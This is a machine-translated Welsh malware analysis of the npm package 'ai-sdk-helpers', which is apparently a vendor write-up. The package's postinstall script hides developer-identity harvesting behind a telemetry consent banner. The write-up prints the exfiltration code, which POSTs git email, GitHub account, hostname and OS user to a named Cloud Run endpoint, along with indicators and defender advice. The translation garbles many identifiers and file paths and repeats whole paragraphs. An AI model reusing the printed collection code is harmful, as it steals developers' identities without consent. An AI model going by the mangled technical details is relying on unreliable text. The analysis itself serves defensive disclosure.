ConsentMask Y Pecyn npm yn Cuddio Casglu Hunaniaeth Datblygwyr

ConsentMask: Pecyn npm sy'n Gwisgo Baner Caniatâd Telemetreg Dros Gynaeafu Hunaniaeth Datblygwyr

TL; DR

Pecyn npm sengl, cynorthwywyr-ai-sdk, yn cyflwyno ei hun fel pecyn cymorth cynhyrchu ar gyfer SDK AI Vercel, gan gynnig olrhain costau, cymorth wrth gefn i ddarparwyr, a chynorthwywyr ffrydio.

Mae ei sgript amser gosod yn agor gyda baner datgelu caboledig sy'n disgrifio diagnosteg ddienw, gan addo na fydd unrhyw god ffynhonnell, tocynnau na chymwysterau yn cael eu trosglwyddo, gan anrhydeddu a DO_NOT_TRACK optio allan, a chysylltu â thudalen polisi telemetreg.

Yna mae'r un sgript yn darllen hunaniaeth git y datblygwr, ffurfweddiad CLI GitHub, enw gwesteiwr y peiriant, enw defnyddiwr yr OS, cyfeiriadur gweithio, a darparwr CI.

Mae'r data hwnnw'n cael ei BOSTIO fel JSON i derfynbwynt Google Cloud Run, gan greu anghydweddiad clir rhwng y polisi telemetreg datganedig a'r meysydd gwirioneddol a gesglir.

Cyhoeddwyd y pecyn mewn dau fersiwn ar hugain o fewn un cyfnod byrstio 83 eiliad, ac mae'r sgript gosod yn union yr un fath, beit am beit, ar draws pob fersiwn a nodwyd.

Saith o'r wyth fersiwn a adolygwyd gan ein pipeline cawsant eu sgorio'n amhendant gan y dosbarthwr ML oherwydd bod arddull y faner caniatâd yn darllen fel telemetreg gyfreithlon.

Rydym yn dosbarthu ai-sdk-helpers fel un maleisus yn seiliedig ar gasglu a dadheintio hunaniaeth datblygwr amser gosod.

Difrifoldeb: uchel.

 Anatomeg y gosodiad

{   "scripts": {     "postinstall": "node scripts/postinstall.js"   } }

ôl-osod yn rhedeg yn awtomatig ymlaen npm gosod, cyn i unrhyw un o god hysbysebion y pecyn gael ei fewnforio. Y sgript sgriptiau/postinstall.js dyma lle mae'r holl ymddygiad amser gosod yn byw.

Mae'n agor gyda bloc sylwadau a hysbysiad amser rhedeg wedi'i ysgrifennu yng nghofrestr prosiect ffynhonnell agored sy'n ymwybodol o breifatrwydd:

>Pan fyddwch chi'n gosod ai-sdk-helpers, rydyn ni'n cynnal gwiriad cydnawsedd amgylchedd cyflym ac yn adrodd ar ddiagnosteg ddienw… Mae'r data'n gwbl ddienw — rydyn ni'n casglu eich platfform, fersiwn Nod, a hash unffordd o ddynodwr eich peiriant. Ni throsglwyddir unrhyw god ffynhonnell, tocynnau na chymwysterau byth.

Mae hyd yn oed yn cysylltu giât optio allan sy'n gweithio, y cod gweithredadwy cyntaf yn y ffeil:

if (   process.env.AI_SDK_HELPERS_TELEMETRY_DISABLED === "1" ||   process.env.DO_NOT_TRACK === "1" ) {   process.exit(0); }

gosod y giât hon yn gyntaf yw'r hyn sy'n gwneud i'r gweddill ddarllen fel rhywbeth cydsyniol: datblygwr sy'n gosod `D_NOT_TRACK` yn gweld y gosodiad yn cael ei gwblhau'n dawel ac yn dod i'r casgliad bod y pecyn yn anrhydeddu'r confensiwn. Mae'r dewis peidio â gwneud hynny'n real. Yr hyn y mae'n ei giât, i bawb nad ydynt yn ei osod, yw'r casgliad a ddisgrifir isod - nid y "platfform, fersiwn Node, a hash unffordd" mwy cul y mae'r hysbysiad yn ei enwi.

Islaw'r giât honno, mae'r sgript yn cydosod llwyth tâl sy'n mynd ymhell y tu hwnt i'r disgrifiad hwnnw.

  • *Ghunaniaeth t.* rdatrysScmHunaniaeth()` pennau `~.gitconfig`,`~.config/git/config`,a ` y prosiect cyfredol.fe/ffurfweddu`,yn dadansoddi'r `[ser]` adran, ac yn dychwelyd y ffurfweddiad commit e-bost. Os nad oes ffeil ffurfweddu yn cynhyrchu e-bost, mae'n disgyn yn ôl i'r `GE-BOST_AUTHOR_T`,`GT_COMMITTER_EMAIL`,ac `EAIL` newidynnau amgylchedd. Mae dogfen uwchben y ffwythiant yn fframio'r darlleniad fel ffordd o "ddad-ddyblygu gosodiadau ar draws peiriannau sy'n eiddo i'r un person (e.e. gliniadur + CI)" - pwrpas datganedig sy'n gofyn am ddynodwr sefydlog fesul datblygwr, sy'n commit cyflenwadau e-bost.
  • *Gcyfrif tHub.* rdatrysGitHubIdentity()` pennau `~.config/gh/hosts.yml` a `~.config/gh/hosts.yaml` y ffeil ffurfweddu a ysgrifennwyd gan y GitHub CLI pan fydd datblygwr yn dilysu — ac yn echdynnu'r `u gan ddefnyddio regexer:` a `epoen:` meysydd. Mae'r ffeil honno hefyd yn storio'r tocyn OAuth GitHub; mae regex y sgript yn targedu'r llinellau enw defnyddiwr ac e-bost yn benodol ac nid yw'n echdynnu'r tocyn. Felly mae honiad y faner datgelu "nid oes unrhyw docynnau ... byth yn cael eu trosglwyddo" yn llythrennol wir ar gyfer yr un maes hwnnw tra bod y dynodwyr cyfrif cyfagos yn cael eu darllen a'u hanfon.
  • *Holion bysedd st a CI.* yna mae'r sgript yn casglu `o.enw gwesteiwr()`,`o.GwybodaethDefnyddiwr().enwDefnyddiwr`,fersiwn, platfform a phensaernïaeth y Nod, `pproses.cwd()`,a label darparwr CI wedi'i ddatrys trwy wirio newidynnau amgylcheddol ar gyfer wyth darparwr (GitHub Actions, GitLab CI, Jenkins, CircleCI, Travis, Buildkite, a dau faner CI generig). Mae'r rhestr darparwyr yn darllen fel rhestr o ble mae'r sgript yn disgwyl gweithredu — cregyn rhyngweithiol ac adeiladu awtomataidd pipelinegyda'r un peth.

Mae'r rhain i gyd wedi'u grwpio mewn un `dagnostigiaid gwrthrych, gyda'r meysydd fesul datblygwr wedi'u casglu o dan `iendid ey a'r data gwesteiwr o dan `ramser a `ctestun eys, yna wedi'u cyfresoli a'u trosglwyddo:

const req = https.request(   {     hostname: "npm-package-logger-228835561205.europe-west1.run.app",     path: "/",     method: "POST",     headers: { "Content-Type": "application/json" },     timeout: 5000,   },   () => {} );  req.on("error", () => {}); req.write(body); req.end();

Caiff yr ymateb ei daflu a chaiff pob gwall ei lyncu — mae sylw yn nodi “na ddylai telemetreg byth dorri’r gosodiad.” Mae enw gwesteiwr y pwynt terfyn yn amgodio gwasanaeth Google Cloud Run yn yr `erhaff-orllewin1` rhanbarth.

Y bwlch yw'r stori. Mae'r faner yn enwi tair categori o ddata — platfform, fersiwn Nod, hash dynodwr peiriant. Mae'r llwyth tâl yn anfon git go iawn y datblygwr. commit e-bost, eu henw defnyddiwr a'u e-bost GitHub, enw gwesteiwr eu peiriant ac enw cyfrif OS, llwybr eu prosiect, a'u hamgylchedd CI. Y meysydd sy'n nodi *prson a'u cyfrifon* yn union y meysydd sy'n cael eu hepgor gan y datgeliad.

Mae'r README yn atgyfnerthu'r fframio o'r ochr arall. Mae ei adran "Telemetreg" yn ailadrodd yr honiad anhysbysrwydd ac yn cysylltu'r gair `D_NOT_TRACK` o `cnsoledonottrack.com`,y dudalen gymunedol go iawn sy'n dogfennu'r confensiwn optio allan — benthyca preifatrwydd cydnabyddedig standard i wneud i'r hysbysiad ddarllen fel peth arferol.

Llinell Amser

Mae hwn yn ddarganfyddiad pecyn sengl gyda hanes cyhoeddi byr iawn, dwys iawn. Nid oes arc ymgyrch aml-wythnos i'w olrhain — gwthiwyd yr ystod fersiynau gyfan ar gyflymder peiriant.

Pryd (UTC) Digwyddiad
2026-06-03 20:31:20 Fersiwn gyntaf (0.1.0) wedi'i gyhoeddi i npm.
2026-06-03 20:31:20 – 20:32:43 Pob un o'r 22 fersiwn (0.1.0 drwy 1.4.2) wedi'i gyhoeddi mewn byrstio awtomataidd 83 eiliad.
2026-06-04 Wyth fersiwn wedi'u nodi gan signalau canfod; mae dadansoddiad â llaw yn cadarnhau casglu a didoli hunaniaeth amser gosod. Roedd y pecyn yn parhau'n fyw ar npm ar adeg y dadansoddiad.

Mae'r ffenestr 83 eiliad ar draws 22 fersiwn semantig yn ddangosydd ymddygiadol ei hun: y gris fersiwn (`01.0`,`01.1`,… `14.2`)yn cyflwyno wyneb prosiect sy'n cael ei gynnal yn weithredol gyda hanes rhyddhau, a gynhyrchwyd mewn un rhediad sgriptiedig. Nid yw'r sgript gosod yn newid ar draws yr ysgol honno — gweler isod.

Dangosyddion cyfaddawd

Mae'r llwyth tâl amser gosod yn union yr un fath ar draws yr ystod fersiynau cyhoeddedig.ff` f `sripts/postinstall.js` fersiwn rhwng `02.1 ` il fersiwn `14.2 ` nid yw et yn dychwelyd unrhyw wahaniaethau; mae'r ymddygiad yn un olion bysedd sefydlog, nid llwyth tâl sy'n esblygu.

Rhwydwaith

Mae'r ffenestr 83 eiliad ar draws 22 fersiwn semantig yn ddangosydd ymddygiadol ei hun: y gris fersiwn (`01.0`,`01.1`,… `14.2`)yn cyflwyno wyneb prosiect sy'n cael ei gynnal yn weithredol gyda hanes rhyddhau, a gynhyrchwyd mewn un rhediad sgriptiedig. Nid yw'r sgript gosod yn newid ar draws yr ysgol honno — gweler isod.

Dangosyddion cyfaddawd

Mae'r llwyth tâl amser gosod yn union yr un fath ar draws yr ystod fersiynau cyhoeddedig.ff` f `sripts/postinstall.js` fersiwn rhwng `02.1 ` il fersiwn `14.2 ` nid yw et yn dychwelyd unrhyw wahaniaethau; mae'r ymddygiad yn un olion bysedd sefydlog, nid llwyth tâl sy'n esblygu.

Rhwydwaith

Dangosydd Swydd
npm-package-logger-228835561205.europe-west1.run.app Penderfyniad all-hidlo sy'n derbyn ceisiadau POST HTTPS gyda llwythi JSON. Wedi'i gynnal ar Google Cloud Run yn y europe-west1 rhanbarth.

Seilwaith denu

Dangosydd Swydd
ai-sdk.guide Hafan y pecyn a'r wefan fyw sy'n cefnogi hunaniaeth awdur "Canllaw SDK AI".
ai-sdk.guide/telemetry URL polisi telemetreg y cyfeirir ato yn yr hysbysiad datgeliad amser gosod.
hello@ai-sdk.guide E-bost yr awdur wedi'i ddatgan yn package.json.
github.com/ai-sdk-guide/ai-sdk-helpers Storfa ffynhonnell a ddatganwyd gan y pecyn.

Ffeiliau wedi'u darllen ar adeg y gosodiad

  • -.gitconfig`,`~.config/git/config`,`<wd>/.git/config` git `[ser]` bost
  • - .config/gh/hosts.yml`,`~.config/gh/hosts.yaml` CLI GitHuber` `epoen

Llofnodion ymddygiadol

  • – m `pstopio galw ar sgript Node bwndeledig
  • – giât optio allan (`A_SDK_HELPERS_TELEMETRY_DISABLED`,`D_NOT_TRACK`)wedi'i gyflwyno fel nodwedd preifatrwydd, cyn casglu hunaniaeth
  • – POST HTTPS tbound o wrthrych JSON sy'n cynnwys e-bost git, hunaniaeth GitHub, enw gwesteiwr, enw defnyddiwr OS, cwd, a label CI
  • – sgript gosod union yr un fath ar draws ysgol fersiwn a gyhoeddir yn gyflym

 Priodoliad ac Ymddygiad a Arsylwyd
Nid ydym yn priodoli dim byd y tu hwnt i'r hyn y mae metadata'r pecyn a'r gofrestrfa yn ei gofnodi.

Cynhaliwr cofnodion yr npm yw'r cyfrif `aielsimon`,gyda'r cyfeiriad `aiel@vigilance.security`.Mae'r gofrestrfa'n rhestru'r e-bost hwnnw fel un heb ei wirio a hunaniaeth rheoli ffynhonnell y cyfrif fel un heb ei wirio. Mae'r `pckage.json`,ar wahân, yn cyflwyno'r awdur fel “Canllaw SDK AI”ello@ai-sdk.guide>`”gyda thudalen gartref o `a`-sdk.canllaw` a storfa ffynhonnell o dan `gsefydliad thub.com/ai-sdk-guide`. Parth e-bost y cyfrif cyhoeddi (`vigilance.security`)a'r hunaniaeth awdur yn y pecyn (`a-sdk.canllaw`)yn barthau gwahanol.

Y `a`-sdk.canllaw` mae ite yn fyw ac yn ymateb, a'r `/elemetreg mae ath yn datrys — mae hunaniaeth y decoy wedi'i chefnogi gan bresenoldeb gwe hygyrch yn hytrach na dolen farw, sy'n cynyddu hygrededd fframio'r pecyn.

**Gallu a arsylwyd.** Ar adeg gosod, mae'r pecyn yn darllen ffeiliau hunaniaeth y datblygwr a ffurfweddu cyfrif, yn cymryd olion bysedd yr amgylchedd gwesteiwr a CI, ac yn trosglwyddo'r canlyniad i bwynt terfynol a reolir gan weithredwr, gan arddangos hysbysiad sy'n disgrifio set ddata gulach a dienw. Rydym yn disgrifio'r ymddygiad hwn; nid ydym yn honni cymhelliad drosto. Dylai darllenwyr sy'n gwerthuso'r pecyn - gan gynnwys unrhyw barti sy'n adnabod yr hunaniaeth gyhoeddi - bwyso a mesur y gwahaniaeth gweladwy rhwng y llifau data a nodwyd a gwirioneddol.

Effaith, tueddiadau, a chanllawiau i amddiffynwyr

Pwy sy'n agored. Unrhyw un sy'n gosod cynorthwywyr-ai-sdk — yn uniongyrchol neu fel dibyniaeth drosiannol — yn rhedeg y casgliad ar y peiriant hwnnw. Oherwydd mai'r sbardun yw ôl-osod, nid oes rhaid mewnforio'r cod llyfrgell a hysbysebir byth er mwyn i'r llif data ddigwydd; mae'r gosodiad yn unig yn ddigonol. Yr amgylcheddau gwerth uchaf yw gorsafoedd gwaith datblygwyr gydag hunaniaeth git wedi'i ffurfweddu a CLI GitHub wedi'i ddilysu, a rhedwyr CI, lle mae canfod darparwr CI y sgript yn dangos bod disgwyl i'r casgliad redeg y tu mewn i'r adeiladwaith. pipelineyn ogystal ag ar liniaduron.

Yr hyn y mae'n ei ddatgelu. Nid cyfrinachau cymwysiadau yn yr achos cyffredinol — mae'r llwyth tâl yn canolbwyntio ar hunaniaeth: y datblygwr commit e-bost, eu henw cyfrif GitHub a'u cyfeiriad e-bost, enwau'r peiriant a'r cyfrif, a llwybr y prosiect. Mae hynny'n rhagosodiadcismap o bwy osododd y pecyn, ar ba beiriant, ym mha ystorfa, ac o dan ba system CI. I sefydliad, byddai llond llaw o gofnodion o'r fath gyda'i gilydd yn rhestru pa beirianwyr a pha systemau adeiladu a dynnodd y ddibyniaeth - yn ddefnyddiol fel rhagflaenydd i weithgaredd dilynol mwy targedig, er bod ymddygiad y pecyn hwn ei hun yn dod i ben wrth gasglu a throsglwyddo.

Y duedd: telemetreg fel gorchudd. Mae offer datblygwyr cyfreithlon yn casglu diagnosteg gosod dienw, a'r confensiynau ar gyfer gwneud hynny'n barchus - hysbysiad datgelu, a PEIDIWCH_Â_OLRHAIO anrhydedd, baner optio allan, URL polisi — yn adnabyddus. cynorthwywyr-ai-sdk yn atgynhyrchu'r pedwar confensiwn hynny'n ffyddlon ac yn eu defnyddio fel y papur lapio ar gyfer casglu hunaniaeth. Nid yw presenoldeb baner caniatâd, dewis peidio â gwneud hynny'n gweithio, neu ddolen polisi preifatrwydd yn brawf bod pecyn yn ddibynadwy; mae'r rheolyddion hynny'n rhad i'w hefelychu. Yr unig wiriad dibynadwy yw beth mae'r cod yn ei ddarllen mewn gwirionedd a ble mae'n ei anfon mewn gwirionedd.

Mae gan y pecynnu hwn effaith fesuradwy hefyd ar ddosbarthu awtomataidd. Ar draws y fersiynau mae ein pipeline wedi'u hadolygu, sgoriodd sylwadau iaith glir y sgript gosod, enwau meysydd strwythuredig, a giât optio allan gonfensiynol fel telemetreg gyffredin: daeth saith o'r wyth yn ôl amhendant o'r dosbarthwr ML yn hytrach na maleisus. Nid yw'r signal sy'n datrys yr amwysedd yn y rhyddiaith — mae yn y ffeiliau penodol y mae'r sgript yn eu hagor (~/.gitconfig, ~/.config/gh/hosts.yml) a'r cyrchfan y mae'n anfon iddi. Bydd adolygydd, awtomataidd neu ddynol, sy'n darllen y datgeliad ac yn stopio yno yn dod i'r casgliad anghywir; mae'n rhaid i'r penderfyniad ddod o ffeithiau'r llif data.

Canllawiau i amddiffynwyr:

  • Gosodwch gyda sgriptiau wedi'u hanalluogi yn ddiofyn — gosod npm –anwybyddu-sgriptiau, neu osod anwybyddu-sgriptiau=gwir in .npmrc a rhedeg camau adeiladu wedi'u gwirio'n benodol. Mae hyn yn niwtraleiddio ôl-osod-casgliad wedi'i sbarduno ar draws y bwrdd.
  • Peidiwch â thrin rheolyddion optio allan fel arwyddion ymddiriedaeth. PEIDIWCH_Â_OLRHAIO nid yw gwiriad neu ddolen “polisi telemetreg” yn dweud dim wrthych am y data y mae sgript yn ei gasglu pan nad yw'r giât wedi'i gosod.
  • Darllenwch y bachyn gosod cyn mabwysiadu pecynnau cymorth ecosystem AI. Mae gofod SDK AI Vercel yn darged sy'n symud yn gyflym ac yn uchel ei ymddiriedaeth; ôl-osod sy'n cyffwrdd ~/.gitconfig or ~/.config/gh/ yn arwydd clir waeth sut mae'r sylwadau cyfagos wedi'u hysgrifennu.
  • Monitro all-ymadawiad amser adeiladu. HTTPS POST allanol yn ystod npm gosod, yn enwedig i bwynt terfyn swyddogaeth cwmwl sydd newydd ei ddarparu, yn weladwy ar yr haen rhwydwaith ac mae'n bwynt canfod cryf ar gyfer amgylcheddau CI.
  • Chwiliwch am ysgolion fersiwn cywasgedig. Mae pecyn y mae ei hanes fersiwn semantig cyfan yn ymddangos o fewn eiliadau, gyda sgript gosod heb ei newid, yn cyflwyno hanes cynnal a chadw wedi'i gynhyrchu.
offer-sca-meddalwedd-offer-dadansoddi-cyfansoddiad
Blaenoriaethu, cywiro a diogelu eich risgiau meddalwedd
Cael eich Cyfrif Am Ddim.
Nid oes angen cerdyn credyd.

Sicrhau eich Datblygiad a Chyflwyniad Meddalwedd

gyda Phecyn Cynnyrch Xygeni